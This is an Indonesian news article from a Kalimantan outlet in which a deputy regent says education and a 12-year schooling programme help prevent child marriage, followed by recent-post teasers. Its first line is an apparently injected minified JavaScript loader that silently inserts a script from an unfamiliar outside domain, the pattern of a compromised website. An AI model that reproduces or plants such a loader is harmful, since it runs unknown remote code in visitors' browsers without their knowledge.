(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Tingkat Pendidikan Mencegah Pernikahan Usia Dini


BUNTOK, Wakil Bupati Barito Selatan (Barsel) Satya Titiek Atyani Djoedir mengatakan, tingkat pendidikan individu ikut andil mempengaruhi angka pernikahan usia dini di suatu daerah.

Pasalnya, dengan adanya pemahaman bahwa sekolah merupakan salah satu kewajiban, masyarakat akan sadar bahwa pernikahan baru dilangsungkan usai selesai menempuh pendidikan formal.

Melalui program belajar 12 tahun, diharapkan tumbuh kesadaran dari masyarakat, sehingga tingkat putus sekolah akibat menikah muda dapat ditekan.

“Diharapkan peningkatan pendidikan dapat mencegah adanya pernikahan dini, sehingga anak-anak tidak putus sekolah,” kata Aty Djoedir kepada Kanalkalimantan.com.

Menurutnya, melalui program belajar 12 tahun dan sosialisasi pergaulan bebas yang tengah digalakkan dapat meningkatkan kesadaran anak muda di wilayah Barsel.

Dengan menanamkan dalam diri bahwa masa depan masih panjang dan harus diisi dengan berbagai kegiatan yang positif, mengingat masa muda adalah masa emas bagi seseorang untuk membentuk mentalitas dan mengoptimalkan potensi diri.

“Perlu ditekankan, pendidikan itu penting sehingga harus dilaksanakan oleh seluruh lapisan masyarakat. Maka untuk itu diharapkan tidak ada lagi anak putus sekolah karena kenakalan remaja atau pernikahan dini,” jelas Aty Djoedir.

Lebih lanjut olehnya selain penekanan bidang pendidikan, pihak pemerintah daerah juga menggalakkan sosialisasi terkait bahaya dan dampak kenakalan remaja dan pergaulan bebas terhadap keberlangsungan masa depan.

Hal tersebut merupakan salah satu faktor yang mempengaruhi terjadinya pernikahan di usia muda. Dirinya menegaskan, pergaulan bebas bukan budaya bangsa, sehingga harus dihindari karena menghancurkan masa depan para penerus bangsa.

“Maka untuk itu harus pintar dalam memilih pergaulan, karena lingkungan yang baik, tentunya dapat mempengaruhi pola pikir,” tandas Aty Djoedir. “Dengan belajar, wawasan akan terbuka sehingga kita mampu membaca situasi dan mengambil kesempatan yang ada untuk berkembang lebih baik,” pungkasnya. (digdo)

Reporter:Digdo
Editor:Bie

Desy Arfianty

Recent Posts

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

6 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

7 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

9 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

10 jam ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

10 jam ago

Pj Bupati HSU Pimpin Peringatan Hardiknas 2024

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More

11 jam ago

This website uses cookies.